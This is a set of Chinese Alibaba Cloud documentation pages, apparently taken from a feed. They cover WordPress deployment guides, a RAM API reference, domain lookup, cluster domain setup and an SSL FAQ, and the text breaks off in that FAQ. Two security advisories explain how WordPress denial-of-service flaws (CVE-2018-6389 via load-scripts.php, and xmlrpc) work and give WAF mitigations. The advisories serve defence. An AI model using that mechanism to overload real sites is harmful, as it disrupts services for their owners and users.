                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                • 内容错误

                • 更新不及时

                • 链接错误

                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                更多建议

                匿名提交

                感谢您的打分,是否有意见建议想告诉我们?

                感谢您的反馈,反馈我们已经收到

                文档反馈

                ]]>
                WordPress拒绝服务(CVE-2018-6389)漏洞防护最佳实践_安全公告_动态与公告_Web 应用防火墙-阿里云 Fri, 02 May 2025 09:39:04 +0800 WordPress拒绝服务(CVE-2018-6389)漏洞防护最佳实践

                更新时间:2020-02-26 08:44:32

                编辑 我的收藏

                新浪微博 微信 钉钉

                本页目录

                2018年2月5日,国外安全研究人员披露了一个关于Wordpress的拒绝服务(DoS)攻击的漏洞(CVE-2018-6389),WordPress 3.x-4.x各个版本均受该漏洞影响。恶意攻击者可以通过让WordPress在单个请求中加载多个Javascript文件来消耗服务器资源,进而引发拒绝服务。

                云盾WAF本身不受该漏洞影响。但如果您的网站业务使用WordPress,建议您配置相应的防护规则。

                漏洞描述

                该漏洞主要位于load-scripts.php文件处,load-scripts.php是WordPress CMS的内置脚本。load-scripts.php文件通过传递nameload参数来选择性地调用必需的Javascript文件,这些name参数间以”,”隔开。

                例如,https://example.com/wp-admin/load-scripts.php?c=1&load[]=jquery-ui-core,editor&ver=4.9.1,这个请求中加载的Javascript文件是jquery-ui-coreeditor

                由于在script-loader.php文件中定义的181个Javascript文件都可以被加载在单个请求中,恶意攻击者在无需授权登录的情况下可以发送大量请求,导致服务器负载增加,从而实现拒绝服务攻击的效果。

                防护建议

                建议您使用精准访问控制和CC攻击自定义规则功能对您的WordPress网站业务进行防护。

                • 通过精准访问控制功能,限制向load-scripts.php文件传递参数的数量。例如,配置以下规则限制对load-scripts.php文件传递的参数长度不大于50个字符。新增规则
                • 通过CC攻击防护自定义功能,限制同一个IP对load-scripts.php文件的请求频率。例如,配置以下规则限制对同一个IP对load-scripts.php文件的请求频率不超过每5秒100次。新增规则

                关于精准访问控制和CC攻击防护自定义规则的功能介绍,请参见精准访问控制自定义CC防护

                更多信息

                安全管家服务可以为您提供包括安全检测、安全加固、安全监控、安全应急等一系列专业的安全服务项目,帮助您更加及时、有效地应对漏洞及黑客攻击,详情请关注安全管家服务

                上一篇:Apache Struts2 REST插件DoS漏洞(CVE-2018-1327)防护最佳实践

                下一篇:WordPress xmlrpc PingBack反射攻击防护最佳实践

                相关文档

                相关产品

                • Web 应用防火墙

                  云盾Web应用防火墙(Web Application Firewall, 简称 WAF)基于云安全大数据能力实现,通过防御SQL注入、XSS跨站脚本、常见Web服务器插件漏洞、木马上传、非授权核心资源访问等OWASP常见攻击,过滤海量恶意CC攻击,避免您的网站资产数据泄露,保障网站的安全与可用性。

                • DDoS防护

                  针对DDoS攻击,阿里云提供了多种安全解决方案供您选择,满足不同DDoS防护需求。

                • 云安全中心

                  云安全中心是阿里云云上安全监控和诊断服务,面向云上资产提供安全事件检测、漏洞扫描、基线配置核查等服务。云安全中心结合了阿里自主研发的大数据和机器学习算法,通过多引擎查杀帮助您实时全面了解和有效处理服务器的安全隐患,并实现对云上资产的集中安全管理。 云安全中心帮助您收集并呈现10余种类型的日志和云上资产指纹,并结合网络实体威胁情报进行安全态势分析,扩大安全可见性。

                以上内容是否对您有帮助?

                在文档使用中是否遇到以下问题

                • 内容错误

                • 更新不及时

                • 链接错误

                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                • 内容错误

                • 更新不及时

                • 链接错误

                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                更多建议

                匿名提交

                感谢您的打分,是否有意见建议想告诉我们?

                感谢您的反馈,反馈我们已经收到

                文档反馈

                ]]>
                如何在弹性 Web 托管实例上安装 WordPress_最佳实践_弹性 Web 托管-阿里云 Fri, 02 May 2025 09:39:04 +0800 如何在弹性 Web 托管实例上安装 WordPress

                更新时间:2018-03-09 17:59:36

                本页目录

                此教程指导您创建弹性Web 托管实例后,如何在实例中安装 WordPress。具体步骤如下:

                下载及上传网站程序

                在 WordPress 官网下载网站程序压缩包,然后通过 FTP 将其上传到主机中。具体步骤如下:

                1. 下载 WordPress 压缩包

                2. 使用 FileZillaCuteFTP 等 FTP 客户端将该压缩文件上传到该实例的 FTP 空间。

                  说明:登录弹性 Web 托管管理控制台,在实例详情页可以查看 FTP 的主机登录地址、登录名以及密码。

                  FTP

                解压及调试网站程序

                将上传到实例的 WordPress 压缩包解压,然后将网站的运行模式设置为调试模式

                具体步骤参见解压网站程序以及调试网站程序

                安装网站程序

                1. 打开浏览器,在地址栏输入网站的测试域名。

                  说明:登录弹性 Web 托管管理控制台,在实例详情页可以查看到网站的测试域名。

                  测试域名

                2. 在打开的页面上选择简体中文,然后单击继续

                3. 单击现在就开始

                4. 在打开的页面上填写数据库链接信息,然后单击提交

                  • 登录弹性 Web 托管管理控制台,在实例详情页可以查看到数据库的用户名、密码、数据库连接地址等信息。
                  • 数据库主机处填写实例的数据库连接地址表前缀采用默认值即可。

                  数据库

                5. 单击现在安装,进入安装界面。

                6. 在安装界面上,填写基本信息,然后单击安装WordPress,即完成了 WordPress 的安装。

                  说明: 安装成功后,凭借您设置的邮箱密码进行登录。

                  安装

                  ]]> WordPress应用_最佳实践_弹性容器实例ECI-阿里云 Fri, 02 May 2025 09:39:04 +0800 WordPress应用

                  更新时间:2020-04-20 15:01:59

                  本页目录

                  打开Cloud Shell

                  说明 以下步骤均已在Cloud Shell中集成,可以通过打开上面的链接来快速体验通过Cloud Shell操作ECI。

                  创建Serverless Kubernetes集群

                  请参见创建Serverless Kubernetes集群

                  安装WordPress

                  注意 请确保上一步中创建的 Serverless Kubernetes 集群,已完成初始化(一般需要3~5分钟),再开始以下的操作。

                  使用Cloud Shell来管理上一步中创建中的Serverless Kubernetes集群。

                  source use-k8s-cluster ${集群ID}

                  执行WordPress安装yaml文件。

                  kubectl apply -f wordpress-all-in-one-pod.yaml

                  观察安装进度,直到STATUS为Running。

                  kubectl get pods

                  查询EIP地址。

                  kubectl get -o json pod wordpress |grep "k8s.aliyun.com/allocated-eipAddress"

                  由于安全组默认没有开放 80 端口的访问,需要给安全组添加 80 端口的 ACL。

                  首先获取Serverless Kubernetes集群自动创建的安全组,找到最近创建的以alicloud-cs-auto-created为命名前缀的安全组ID。

                  aliyun ecs DescribeSecurityGroups|grep -B 1 'alicloud-cs-auto-created'|head -1

                  对安全组进行授权操作。

                  aliyun ecs AuthorizeSecurityGroup --RegionId cn-chengdu --SecurityGroupId ${安全组ID} --IpProtocol tcp --PortRange 80/80 --SourceCidrIp 0.0.0.0/0 --Priority 100

                  使用WordPress

                  在浏览器起输入上一步获取到的EIP地址,即可开始使用WordPress。

                  上一篇:Jenkins CI/CD

                  下一篇:Spark应用

                  相关文档

                  以上内容是否对您有帮助?

                  在文档使用中是否遇到以下问题

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  更多建议

                  匿名提交

                  感谢您的打分,是否有意见建议想告诉我们?

                  感谢您的反馈,反馈我们已经收到

                  文档反馈

                  ]]>
                  通过ROS一键部署WordPress站点和phpMyAdmin应用_DevOps资源编排最佳实践_集成开发最佳实践-阿里云 Fri, 02 May 2025 09:39:04 +0800 通过ROS一键部署WordPress站点和phpMyAdmin应用

                  更新时间:2020-03-27 17:15:21

                  编辑 我的收藏

                  新浪微博 微信 钉钉

                  本页目录

                  本文介绍了如何根据一个ROS资源栈模板一键部署WordPress站点和phpMyAdmin应用。通过模板样例里的WordPressCluster-phpMyAdmin模板,一键部署整个VPC、负载均衡、弹性伸缩、云服务器ECS和云数据库RDS等实例组成的应用集群。同时,部署WordPress和phpMyAdmin,并配置弹性伸缩。

                  背景信息

                  阿里云资源编排服务(ROS)是一款开放云产品,支持用户通过模板描述基于阿里云的IT架构,包括架构中依赖的云计算资源及其之间的关系、配置细节等。同时,ROS提供标准化的订单、支付和资源生产流程。

                  下图描述了ROS的主要概念:

                  1. 用户编写JSON格式的编排模板,模板中定义了所需的云资源、依赖关系、配置细节等。
                  2. ROS编排服务根据编排模板生产资源和订单。
                  3. 用户得到一整套资源,逻辑上被称作资源栈。

                  产品架构

                  下图为通过ROS资源栈模板创建的资源栈架构图。有三类用户将会访问这些基础设施:

                  • 端用户

                    端用户通过URL访问托管在WordPress上的网站。WordPress部署在Apache Web服务器中。服务器的文档根目录为 /wwwroot。根目录所在的OSS Bucket是Web服务器通过OSSFS(阿里云官方提供的基于FUSE 的文件系统)共用的一个存储空间。RAM用户具有OSS Bucket的访问权限,可将OSS Bucket挂载到ECS实例上。RDS for MySQL数据库存放WordPress的内容。通过内网连接字符串从Web服务器访问数据库。

                  • 系统管理员

                    系统管理员通过SSH登录JumpBox(堡垒机),进入VPC环境。JumpBox具有弹性公网IP,可通过Internet访问。通过JumpBox访问可管理VPC中的产品实例。phpMyAdmin安装在JumpBox上,通过Internet访问。如此,系统管理员便可管理云数据库RDS版。

                  • 内容负责人

                    内容负责人可通过Internet访问WordPress管理控制台。所有服务的访问权限可通过安全组,根据环境配置来控制。

                  相关资源

                  在ROS模板样例(WordPressCluster-phpMyAdmin)中,您可以查看已定义阿里云资源的详细信息。您可以通过以下的资源文档了解相关语法语义。

                  资源名称 说明
                  ALIYUN::ECS::Instance 创建 ECS 实例。
                  ALIYUN::ECS::SecurityGroup 创建安全组。
                  ALIYUN::ECS::Disk 创建 ECS 磁盘。
                  ALIYUN::ECS::DiskAttachment 挂载 ECS 磁盘。
                  ALIYUN::ECS::VPC 新建专有网络。
                  ALIYUN::ECS::VSwitch 新建交换机。
                  ALIYUN::ECS::NatGateway 创建专有网络的 NAT 网关。
                  ALIYUN::ECS::SNatEntry 配置 NAT 网关中的源地址转换表。
                  ALIYUN::VPC::EIP 申请弹性公网 IP。
                  ALIYUN::VPC::EIPAssociation 绑定弹性公网 IP。
                  ALIYUN::SLB::LoadBalancer 创建负载均衡实例。
                  ALIYUN::SLB::Listener 创建负载均衡监听。
                  ALIYUN::ESS::ScalingGroup 创建伸缩组。
                  ALIYUN::ESS::ScalingConfiguration 创建伸缩配置。
                  ALIYUN::ESS::ScalingGroupEnable 启用伸缩组。
                  ALIYUN::RDS::DBInstance 创建数据库实例。

                  典型案例

                  参考以下步骤,创建一个基于WordPressCluster-phpMyAdmin模板的应用环境:

                  1. 打开资源编排控制台,选择模板样例模板(WordPressCluster-phpMyAdmin),单击创建栈
                  2. 填写模板参数。

                    您可以根据实际情况,在模板中修改ZoneId和ImageId。查找ZoneId和ImageId请见查找镜像

                  3. 单击创建,等待几分钟,一套WordPressCluster-phpMyAdmin集群环境自动创建完成。
                  4. 还可以尝试其他模板,如ecs_vpc_instance。

                  上一篇:通过Terraform自动搭建经典负载均衡架构

                  下一篇:阿里云用户订单管理最佳实践

                  相关文档

                  以上内容是否对您有帮助?

                  在文档使用中是否遇到以下问题

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  更多建议

                  匿名提交

                  感谢您的打分,是否有意见建议想告诉我们?

                  感谢您的反馈,反馈我们已经收到

                  文档反馈

                  ]]>
                  【漏洞公告】WordPress DoS拒绝服务漏洞_内容管理系统(CMS)_Web应用安全漏洞_安全漏洞预警_安全公告和技术-阿里云 Fri, 02 May 2025 09:39:04 +0800 【漏洞公告】WordPress DoS拒绝服务漏洞

                  更新时间:2018-03-19 11:46:51

                  本页目录

                  漏洞描述

                  WordPress没有限制xml中的参数数量,导致攻击者可以远程注入恶意xml,直接对目标服务器造成拒绝服务攻击。

                  影响范围

                  • WordPress 3.9.x-3.9.1
                  • WordPress 3.8.x-3.8.3
                  • WordPress 3.7.x-3.7.3
                  • WordPress 3.6.x
                  • WordPress 3.5.x

                  修复方案

                  • 删除Wordpress根目录下的xmlrpc.php

                  • 通过官方途径,将Wordpress升级到最新版本。

                  上一篇:【漏洞公告】Dedecms变量覆盖漏洞

                  下一篇:【漏洞公告】DedeCMS 注入漏洞

                  相关文档

                  以上内容是否对您有帮助?

                  在文档使用中是否遇到以下问题

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  更多建议

                  匿名提交

                  感谢您的打分,是否有意见建议想告诉我们?

                  感谢您的反馈,反馈我们已经收到

                  文档反馈

                  ]]>
                  使用ROS搭建WordPress_搭建WordPress博客平台_搭建网站_建站教程_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 使用ROS搭建WordPress

                  更新时间:2020-03-16 15:13:50

                  编辑 我的收藏

                  新浪微博 微信 钉钉

                  本页目录

                  资源编排服务ROS(Resource Orchestration Service)可通过ROS模板创建一组阿里云资源。ROS模板为JSON格式文件,用于定义您需要创建的云资源。本教程介绍如何使用ROS模板创建基于ECS和RDS(Relational Database Service)的WordPress环境。

                  前提条件

                  • 已注册阿里云账号。如还未注册,请先完成账号注册
                  • 账号余额不能低于100元,可以是现金、可用信用额度或者可用于开通产品的代金券。
                  • 如果您是首次使用ROS,必须先开通ROS服务。ROS服务免费,开通服务不会产生任何费用。

                  背景信息

                  RDS是阿里云提供的在线数据库服务,稳定可靠、可弹性伸缩。RDS支持MySQL、SQL Server、PostgreSQL等数据库引擎,并且提供了容灾、备份、恢复、监控、迁移等方面的全套解决方案,帮助您解决数据库运维的烦恼。更多详情,请参见RDS产品文档

                  本篇教程介绍如何通过基于ECS和RDS创建WordPress环境模板,创建WordPress环境。

                  操作步骤

                  1. 登录ROS管理控制台
                  2. 选择模板。
                    1. 在左侧导航栏中,单击模板 > 模板示例

                      ROS提供的常用模板会在模板示例页面显示。

                    2. 从模板示例中找到基于ECS和RDS创建WordPress环境

                      模板示例

                    3. 可选: 单击查看详情查看模板的JSON文件。

                      JSON文件各个顶级字段的解释如下表所示。
                      顶级字段 解释
                      "ROSTemplateFormatVersion" : "2015-09-01" 定义模板版本。
                      "Parameters" : { } 定义模板的一些参数。

                      本示例中,模板定义的参数包括:镜像ID、实例规格等,并指定了默认值。

                      "Resources" : { } 定义这个模板将要创建的阿里云资源。

                      本示例中,申明将要创建一个ECS实例和一个安全组,这里申明的资源属性可以引用Parameters中定义的参数。

                      "Outputs": { } 定义资源创建完成后,栈需要输出的资源信息。

                      本示例中,资源创建完成后将输出ECS实例ID、公网IP地址和安全组ID。

                      说明 ROS资源栈模板详情,请参见资源编排的模板结构说明

                  3. 单击创建资源栈
                  4. 配置参数。
                    1. 在顶部状态栏左上角,选择地域。
                    2. 配置资源栈的模板参数。

                      资源栈参数说明如下表所示。
                      名称 描述
                      资源栈名称 设置资源栈名。栈名不可重复,创建之后不能修改。
                      VPC VPC CIDR Block 填写专有网络VPC的私网网段。

                      更多详情,请参见网络规划

                      VSwitch CIDR Block 交换机的网段。

                      交换机所指定的网段必须属于其VPC的网段,并且不能与已有的交换机网段重叠。更多详情,请参见网络规划

                      Zone ID 填写您需要创建资源的可用区ID。
                      ECS Instance Type 选择您需要的ECS实例规格。

                      ECS实例规格详情,请参见实例规格族

                      Image ID 填写创建ECS实例时使用的镜像ID。
                      Instance Password 设置ECS实例的登录密码。

                      根据模板定义,密码由大写字母、小写字母、数字、特殊字符中的任意三种组成,特殊字符为()`~!@#$%^&*-_+=|{}[]:;'<>,.?/,密码长度范围是8~30个字符。

                      说明 Windows实例不能以斜线号(/)为密码首字符。

                      RDS DB Instance Class 云数据库RDS的实例类型。
                      Database Engine Version 选择您需要的数据库引擎。
                      DB Instance Storage 云数据库RDS的容量规格。
                      DB Name 填写WordPress数据库名。
                      DB Username 填写WordPress数据库的用户名。
                      DB Password 设置访问WordPress数据库的密码。

                      根据模板定义,密码由字母、数字、下划线(_)组成,密码长度范围是为6~32个字符。

                    3. 单击下一步
                    4. 配置资源栈。

                      资源栈配置说明如下表所示。
                      名称 描述
                      资源栈策略(可选) 资源栈策略。
                      失败时回滚 资源创建失败时是否回滚。
                      • 如果选择已启用,那么创建过程中发生任何失败(包括创建超时),ROS都会删除已经创建成功的资源。
                      • 如果选择已禁用,那么创建过程中发生任何失败(包括创建超时),ROS不会删除已经创建成功的资源。
                      超时设置 设置创建资源的超时时间。如果在设置的时间段内资源未创建成功,则判断超时。

                    5. 单击下一步
                    6. 确认资源栈参数信息是否正确。
                  5. 单击创建资源栈

                  执行结果

                  在左侧导航栏,单击资源栈,从顶部状态栏处选择您创建的栈所在的地域,即可查看您新建的资源栈和资源栈的状态。当资源栈状态为创建成功时,表示您已成功创建资源栈。

                  后续步骤

                  单击栈名,进入已创建资源栈的详情页面。单击以下页签可以了解已创建资源栈的相关信息。
                  • 资源栈信息:可查看资源栈的基本信息、状态、创建资源的超时时间等。
                  • 事件:可查看ROS创建这个资源栈时的操作记录。任何涉及资源栈的操作失败后,都会显示具体操作失败的原因。
                  • 资源:可查看资源栈中包含的所有资源。
                  • 模板:可查看资源栈的原始模板。

                  上一篇:云市场镜像搭建WordPress

                  下一篇:手动搭建WordPress(CentOS 7)

                  相关文档

                  相关产品

                  • 云服务器 ECS

                    云服务器(Elastic Compute Service,简称 ECS)是一种简单高效、处理能力可弹性伸缩的计算服务,帮助您快速构建更稳定、安全的应用,提升运维效率,降低 IT 成本,使您更专注于核心业务创新。

                  • 专有网络 VPC

                    专有网络VPC(Virtual Private Cloud)是用户基于阿里云创建的自定义私有网络, 不同的专有网络之间二层逻辑隔离,用户可以在自己创建的专有网络内创建和管理云产品实例,比如ECS、负载均衡、RDS等。

                  • 弹性公网 IP

                    弹性公网IP(Elastic IP Address,简称EIP),是可以独立购买和持有的公网IP地址资源。EIP可绑定到专有网络类型的ECS实例、专有网络类型的私网SLB实例和NAT网关上。

                  以上内容是否对您有帮助?

                  在文档使用中是否遇到以下问题

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  更多建议

                  匿名提交

                  感谢您的打分,是否有意见建议想告诉我们?

                  感谢您的反馈,反馈我们已经收到

                  文档反馈

                  ]]>
                  DeletePolicyVersion_权限策略管理接口_API参考(RAM)_访问控制-阿里云 Fri, 02 May 2025 09:39:04 +0800 DeletePolicyVersion

                  更新时间:2019-11-19 09:49:25

                  编辑 我的收藏

                  新浪微博 微信 钉钉

                  本页目录

                  调用DeletePolicyVersion接口删除指定的权限策略的某个版本。

                  调试

                  您可以在OpenAPI Explorer中直接运行该接口,免去您计算签名的困扰。运行成功后,OpenAPI Explorer可以自动生成SDK代码示例。

                  请求参数

                  名称 类型 是否必选 示例值 描述
                  Action String DeletePolicyVersion

                  系统规定参数。取值:DeletePolicyVersion。

                  PolicyName String OSS-Administrator

                  权限策略名称。

                  VersionId String v3

                  指定目标版本的ID。

                  返回数据

                  名称 类型 示例值 描述
                  RequestId String 9B34724D-54B0-4A51-B34D-4512372FE1BE

                  请求ID。

                  示例

                  请求示例

                  
                  https://ram.aliyuncs.com/?Action=DeletePolicyVersion
                  &PolicyName=OSS-Administrator
                  &VersionId=v3
                  &<公共请求参数>
                  

                  正常返回示例

                  XML 格式

                  <DeletePolicyVersionResponse>
                        <RequestId>9B34724D-54B0-4A51-B34D-4512372FE1BE</RequestId>
                  </DeletePolicyVersionResponse>

                  JSON 格式

                  {
                  	"RequestId":"9B34724D-54B0-4A51-B34D-4512372FE1BE"
                  }

                  错误码

                  访问错误中心查看更多错误码。

                  上一篇:GetPolicyVersion

                  下一篇:ListPolicyVersions

                  相关文档

                  相关产品

                  • 访问控制

                    访问控制(Resource Access Management,RAM)是阿里云提供的一项管理用户身份与资源访问权限的服务。使用RAM,您可以创建、管理RAM用户(例如员工、系统或应用程序),并可以控制这些RAM用户对资源的操作权限。当您的企业存在多用户协同操作资源时,使用RAM可以让您避免与其他用户共享云账号密钥,按需为用户分配最小权限,从而降低企业信息安全风险。

                  • 对象存储 OSS

                    阿里云对象存储服务(Object Storage Service,简称 OSS),是阿里云提供的海量、安全、低成本、高可靠的云存储服务。您可以通过调用 API,在任何应用、任何时间、任何地点上传和下载数据,也可以通过 Web 控制台对数据进行简单的管理。OSS 适合存放任意类型的文件,适合各种网站、开发企业及开发者使用。按实际容量付费真正使您专注于核心业务。

                  • 云服务器 ECS

                    云服务器(Elastic Compute Service,简称 ECS)是一种简单高效、处理能力可弹性伸缩的计算服务,帮助您快速构建更稳定、安全的应用,提升运维效率,降低 IT 成本,使您更专注于核心业务创新。

                  以上内容是否对您有帮助?

                  在文档使用中是否遇到以下问题

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  更多建议

                  匿名提交

                  感谢您的打分,是否有意见建议想告诉我们?

                  感谢您的反馈,反馈我们已经收到

                  文档反馈

                  ]]>
                  查询域名可注册和可交易状态_查询域名可注册和可交易状态_域名查询_域名-阿里云 Fri, 02 May 2025 09:39:04 +0800 查询域名可注册和可交易状态

                  更新时间:2019-10-25 16:28:43

                  编辑 · 

                  新浪微博 微信 钉钉

                  本页目录

                  注册域名前您需先查询域名是否处于可注册、可交易的状态。当您有多个域名需要批量查询时,可参考本文进行批量查询。

                  基础版使用指南

                  1. 打开批量域名查询-基础版
                  2. 输入域名。

                    输入域名文本框中手动输入或者粘贴想要注册的域名,也可以单击导入域名,选择本地txt文本批量导入域名。域名输入个数最大支持1000个/次,超过的域名系统将自动过滤掉。

                  3. 选择域名后缀。

                    域名后缀列表中选择一个域名后缀。

                  4. 查询域名。

                    单击开始查询,域名查询进度实时展示,并可分别看到可注册域名可买交易域名(域名已被他人注册但发布在交易平台中可以进行购买的域名)、已注册域名查询失败域名的结果。

                    说明 如果您只想注册当前查询出来的域名,可在查询进度上方单击暂停查询。如果想继续查询域名,可单击继续查询

                  5. 添加域名清单。

                    勾选可以注册的域名,批量加入域名清单。

                    说明 域名清单一次最多支持添加200个域名,当添加的可注册域名个数超过200个时,将优先处理包含原域名清单已有域名在内的前200个域名。为了保证域名批量注册的顺利进行,建议您提前对原域名清单中的域名进行支付或删除。

                  6. 域名清单添加成功后,单击确定查看确认订单后,即可结算。

                  高级版使用指南

                  高级版功能主要可以用于域名查询规则的自定义组合。

                  1. 打开批量域名查询-高级版
                  2. 选择域名组合方式。您可以选择以下其中一种方法进行域名组合。

                    方法一:自由选择标签

                    您可以自由选择标签,组合您想要的域名进行查询。例如,要查询三个数字组成的域名,您可以选择三个单数字的标签组合,或者选择一个三数字的标签组合。定义好域名标签组合后,会实时生成符合您所选规则的域名总量及示例。

                    方法二:自定义词库

                    对于经常使用的域名标签或者特殊偏好的域名规则,可以自定义生成我的词库,并进行保存。下次查询域名时,可以直接进行使用。

                    1. 单击编辑词库,在编辑词库的文本框中输入词组。每行一个,不需要填写后缀,格式只能为(中文、字母、数字、中横线),最多支持输入100行。
                    2. (可选)双击左上角我的词库1,可对词库进行自定义命名,例如,我最爱的数字。
                    3. 最后单击保存,词库即保存成功。自定义词库最多可以添加10个。

                  3. 排除字符。

                    定义好域名标签组合后,可排除您不喜欢的字符。排除字符可以手动输入,也可以从排除字符的下拉列表中直接选择。

                  4. 选择后缀。您可以选择以下一种方法选择域名后缀。

                    方法一:手动输入域名后缀

                    域名后缀支持多选。您可以在域名后缀的左侧输入框中手动输入,手动输入时系统会实时进行对应勾选。

                    方法二:在域名后缀列表中直接进行勾选

                  5. 查询注册。

                    单击开始查询,域名查询进度实时展示,并可分别看到可注册域名可买交易域名(域名已被他人注册但发布在交易平台中可以进行购买的域名)、已注册域名查询失败域名的结果。后续的域名注册流程同基础版,详情请参见基础版使用指南

                  上一篇:查看域名基本信息

                  下一篇:WHOIS查询参考:域名状态的含义

                  相关文档

                  相关产品

                  • 域名

                    域名(Domain Name),是由一串用点分隔的字符组成的Internet上某一台计算机或计算机组的名称,用于在数据传输时标识计算机的电子方位(有时也指地理位置,有行政自主权的一个地方区域)。域名是一个IP地址上的“面具” 。一个域名的目的是便于记忆和沟通的一组服务器的地址(网站、电子邮件、FTP等)。

                  • 云解析 DNS

                    云解析DNS(Alibaba Cloud DNS)是一种安全、快速、稳定、可扩展的权威DNS服务,云解析DNS为企业和开发者将易于管理识别的域名转换为计算机用于互连通信的数字IP地址,从而将用户的访问路由到相应的网站或应用服务器。

                  • 云服务器 ECS

                    云服务器(Elastic Compute Service,简称 ECS)是一种简单高效、处理能力可弹性伸缩的计算服务,帮助您快速构建更稳定、安全的应用,提升运维效率,降低 IT 成本,使您更专注于核心业务创新。

                  以上内容是否对您有帮助?

                  在文档使用中是否遇到以下问题

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  更多建议

                  匿名提交

                  感谢您的打分,是否有意见建议想告诉我们?

                  感谢您的反馈,反馈我们已经收到

                  文档反馈

                  ]]>
                  设置集群根域名_集群管理_用户指南_容器服务(已停止服务)-阿里云 Fri, 02 May 2025 09:39:04 +0800 设置集群根域名

                  更新时间:2019-01-23 00:25:26

                  编辑 我的收藏

                  新浪微博 微信 钉钉

                  本页目录

                  背景信息

                  当您通过镜像创建 Nginx 并进行简单路由配置时,您只需要填写域名的前缀 nginx,即可获得 $cluster_id.$region_id.alicontainer.com 格式的域名。您可以通过设置集群根域名(本示例使用 51ili.com)来替换该域名。当您重新部署服务 nginx 时,域名从 nginx.c2818a77aac20428488694c0cd1600e6e.cn-shenzhen.alicontainer.com 变为 nginx.51ili.com,方便您使用自己的根域名对集群应用进行访问。

                  说明 为了保证下面的示例能够工作,请先将 Agent 升级到最新版本。

                  操作步骤

                  1. 绑定一个负载均衡实例。
                    1. 登录 容器服务管理控制台
                    2. 在Swarm菜单下,单击左侧导航栏中的集群
                    3. 选择要配置的集群(本示例为routing-test-online),单击管理



                    4. 单击左侧导航栏中的负载均衡

                      如果集群未绑定负载均衡实例,登录阿里云 负载均衡管理控制台,并创建一个负载均衡实例,然后回到本页面进行绑定。

                      说明 有关负载均衡在容器服务中的使用限制以及如何为集群绑定和解绑负载均衡,参见为集群绑定和解绑负载均衡



                  2. 设置域名。
                    1. 单击 域名设置,填写您自己购买的根域名,本示例中为51ili.com。



                    2. 单击设置
                  3. 将域名解析到绑定的负载均衡实例。
                    1. 在 SLB 控制台中,查找集群绑定的负载均衡实例。
                    2. 查看实例详情,找到绑定的负载均衡实例的服务地址。



                    3. 登录阿里云云解析 DNS 服务管理控制台,添加域名解析。

                      • 添加域名。若已有域名,跳过此步。
                      • 添加域名解析。其中记录值填写绑定的负载均衡实例的服务地址。


                  4. 重新部署 web 服务。
                    1. 重新部署应用,应用下的服务web访问端点发生了变化。

                      设置根域名之前的访问端点:



                      设置根域名之后的访问端点:



                    2. 访问最新的访问端点http://nginx.51ili.com。



                  上一篇:为集群绑定和解绑负载均衡

                  下一篇:下载集群证书

                  相关文档

                  相关产品

                  • 容器服务(已停止服务)

                    容器服务(Container Service)提供了高性能可伸缩的容器应用管理服务,支持在一组云服务器上通过 Docker 容器来进行应用生命周期管理。容器服务极大地简化了用户对容器管理集群的搭建工作,无缝整合了阿里云虚拟化、存储、网络和安全能力,打造 Docker 云端最优化的运行环境。容器服务提供了多种应用发布方式和流水线般的持续交付能力,原生支持微服务架构,助力用户无缝上云和跨云管理。

                  • 容器服务Kubernetes版

                    容器服务Kubernetes版(Container Service for Kubernetes)提供高性能可伸缩的容器应用管理服务,支持企业级Kubernetes容器化应用的生命周期管理。

                  • 容器镜像服务

                    容器镜像服务(Container Registry)提供安全的应用镜像托管能力,精确的镜像安全扫描功能,稳定的国内外镜像构建服务,便捷的镜像授权功能,方便用户进行镜像全生命周期管理。容器镜像服务简化了Registry的搭建运维工作,支持多地域的镜像托管,并联合容器服务等云产品,打造云上使用Docker的一体化体验。

                  以上内容是否对您有帮助?

                  在文档使用中是否遇到以下问题

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  更多建议

                  匿名提交

                  感谢您的打分,是否有意见建议想告诉我们?

                  感谢您的反馈,反馈我们已经收到

                  文档反馈

                  ]]>
                  域名验证推送到阿里云DNS失败了,该怎么办?_域名验证推送到阿里云DNS失败了,该怎么办?_证书域名相关问题_常见问题_SSL证书-阿里云 Fri, 02 May 2025 09:39:04 +0800 域名验证推送到阿里云DNS失败了,该怎么办?

                  更新时间:2020-01-20 17:19:54

                  编辑 · 

                  新浪微博 微信 钉钉

                  本页目录

                  问题描述

                  您的域名托管在阿里云的云解析服务中,您授权证书服务系统自动完成域名配置,但域名授权验证配置推送失败。

                  解决方法

                  说明 请确认您的域名是否托管在阿里云的云解析服务中。如果您的域名是托管在其他域名解析服务商处,证书服务无法完成域名授权验证配置推送。

